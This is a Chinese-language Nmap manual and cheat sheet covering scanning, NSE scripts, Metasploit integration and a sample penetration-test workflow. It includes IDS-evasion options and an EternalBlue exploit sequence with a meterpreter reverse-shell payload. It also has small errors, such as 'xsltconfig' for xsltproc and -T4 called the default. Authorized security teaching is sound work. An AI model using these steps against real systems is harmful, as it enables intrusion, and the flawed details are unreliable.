Nmap User Manual

Nmap User Manual

Nmap 操作手册

Author: Asterism && Deepseek Date: 2026.3.17

Lastest edited on 2026.3.17


一、基础概念

  • 端口状态
    • open:端口开放,有服务监听
    • closed:端口关闭,无服务
    • filtered:被防火墙过滤,状态未知
  • 扫描类型
    • SYN扫描 (-sS):半开放扫描,默认(需root),速度快,不易被记录
    • TCP连接扫描 (-sT):完整三次握手,无需root,速度慢,易被记录
  • 目标表示
    • 域名:scanme.nmap.org
    • IP:192.168.1.1
    • 网段:192.168.1.0/24
    • 范围:192.168.1.1-100

二、基础扫描命令

目的命令示例说明
默认扫描(1000常用端口)nmap <目标>最基础的扫描
快速主机发现(Ping扫描)nmap -sn <目标网段>只判断主机是否在线,不扫端口
指定端口nmap -p 80 <目标>扫描单个端口
nmap -p 80,22,443 <目标>扫描多个端口
nmap -p 1-1000 <目标>扫描端口范围
nmap -p- <目标>扫描所有65535个端口(慢)
指定扫描类型sudo nmap -sS <目标>SYN扫描
nmap -sT <目标>TCP连接扫描

三、服务与系统探测

目的命令示例说明
服务版本探测nmap -sV <目标>获取服务/版本信息
操作系统检测sudo nmap -O <目标>推测目标操作系统(需root)
综合探测sudo nmap -sS -sV -O <目标>常用组合

四、Nmap脚本引擎(NSE)

4.1 脚本分类

  • safe:安全脚本,无害
  • vuln:漏洞检测
  • default:默认脚本(相当于 -sC
  • authbrutediscoveryexploitdos

4.2 常用脚本命令

目的命令示例说明
运行默认脚本nmap -sC <目标>运行 default 类别
按类别运行nmap --script=safe <目标>运行所有安全脚本
nmap --script=vuln <目标>运行漏洞检测脚本
nmap --script=default,safe <目标>同时运行多个类别
按脚本名运行nmap --script=http-title <目标>运行特定脚本
带参数运行nmap --script=http-title --script-args http-title.timeout=5 <目标>传递参数给脚本
枚举SMB共享nmap -p 445 --script=smb-enum-shares <目标>常见实战脚本

五、输出保存与处理

目的命令示例说明
保存为文本nmap -oN results.txt <目标>普通文本格式
保存为XMLnmap -oX results.xml <目标>便于程序解析
保存为grepablenmap -oG results.gnmap <目标>可用grep处理
保存所有格式nmap -oA basename <目标>同时生成 .nmap, .xml, .gnmap
XML转HTML报告xsltconfig -o report.html results.xml需安装xsltproc
过滤grepable文件grep 80/open results.gnmap查找开放80端口的行

六、性能优化与时序控制

目的命令示例说明
时序模板nmap -T0 <目标>极慢(绕过IDS)
nmap -T4 <目标>较快(默认)
nmap -T5 <目标>疯狂模式(可能丢包)
主机超时nmap --host-timeout 30s <目标网段>超过30秒放弃该主机
并行主机组nmap --min-hostgroup 64 --max-hostgroup 256调整并行扫描主机数
报文超时nmap --max-rtt-timeout 100ms等待响应时间
重传次数nmap --max-retries 2减少重传加快速度
快速扫描C段nmap -p 80 -T4 --min-hostgroup 64 --max-rtt-timeout 100ms 192.168.1.0/24典型优化组合

七、防火墙/IDS绕过技术

目的命令示例说明
分片扫描sudo nmap -f <目标>将包分片,绕过简单防火墙
自定义MTUsudo nmap --mtu 16 <目标>需为8的倍数
诱饵扫描sudo nmap -D RND:10,ME <目标>随机生成10个诱饵IP
空闲扫描sudo nmap -sI <僵尸IP> <目标>利用僵尸机IP隐藏自己
改变源端口sudo nmap -g 53 <目标>使用53端口(DNS)绕过信任
调整时序nmap -T0 <目标>慢速扫描躲避检测

八、与Metasploit联动

目的命令示例说明
在msf中导入Nmap XMLmsf6 > db_import /path/to/scan.xml将扫描结果导入数据库
查看导入的主机msf6 > hosts
查看服务msf6 > services
在msf中直接调用Nmapmsf6 > db_nmap -sV -p 1-1000 <目标>结果自动存入数据库
查看漏洞msf6 > vulns如果之前运行了vuln脚本

九、自动化脚本示例

9.1 Bash脚本(自动扫描存活主机)

#!/bin/bash
TARGET=$1
if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi

echo "[*] Discovering live hosts..."
nmap -sn $TARGET -oG ping.gnmap > /dev/null
grep Up ping.gnmap | cut -d' ' -f2 > live_hosts.txt

for host in $(cat live_hosts.txt); do
    echo "[*] Scanning $host..."
    sudo nmap -sS -sV -O --script=default -oA "scan_$host" $host
done

9.2 Python脚本(使用python-nmap)

import nmap

nm = nmap.PortScanner()
target = '192.168.1.0/24'
nm.scan(hosts=target, arguments='-sn')
for host in nm.all_hosts():
    print(f'Host: {host} ({nm[host].state()})')
    nm.scan(hosts=host, arguments='-sV -p 1-1000')
    for proto in nm[host].all_protocols():
        ports = nm[host][proto].keys()
        for port in ports:
            service = nm[host][proto][port]
            print(f'  {port}/{proto}: {service["state"]} {service["name"]} {service.get("version", "")}')

9.3 自定义NSE脚本模板

local shortport = require "shortport"
local stdnse = require "stdnse"
local http = require "http"

description = [[
自定义脚本描述
]]
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}

portrule = shortport.http

action = function(host, port)
    local response = http.get(host, port, "/")
    if response.status == 200 then
        -- 自定义处理逻辑
        return stdnse.format_output(true, "Found something")
    end
end

使用:nmap --script=mycustom.nse -p 80 <目标>


十、结合Searchsploit查找漏洞

nmap -sV -oN version.txt <目标>
grep -E "([0-9]+\.[0-9]+)" version.txt | while read line; do
    service=$(echo $line | awk '{print $3}')
    version=$(echo $line | awk '{print $4}')
    searchsploit "$service $version"
done

十一、完整渗透测试流程示例

  1. 主机发现
    nmap -sn 192.168.1.0/24

  2. 深度扫描
    sudo nmap -sS -sV -p- -T4 -oA deep_scan 192.168.1.10

  3. 漏洞脚本扫描
    nmap --script=vuln -p 80,443,445 -oN vuln_scan 192.168.1.10

  4. 导入Metasploit
    msfconsoledb_import deep_scan.xmlhostsservicesvulns

  5. 利用漏洞(以MS17-010为例)

    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.1.10
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    run
    
  6. 生成报告
    xsltproc -o report.html deep_scan.xml


十二、常用快捷组合

组合命令用途
sudo nmap -sS -sV -O <目标>快速综合扫描
sudo nmap -p- -sV -sC -O -oA full <目标>全端口+服务+脚本+OS+保存
nmap --script=vuln <目标>漏洞快速检测
sudo nmap -f -D RND:10,ME <目标>隐蔽扫描
nmap -p 80,443 --script=http-* <目标>运行所有HTTP相关脚本

十三、注意事项

  • 任何未经授权的扫描和渗透测试均属违法行为,务必在合法授权下进行。
  • 扫描大范围网络时,注意控制速度,避免对目标网络造成影响。
  • 保持Nmap版本更新,以获得最新的服务指纹和脚本。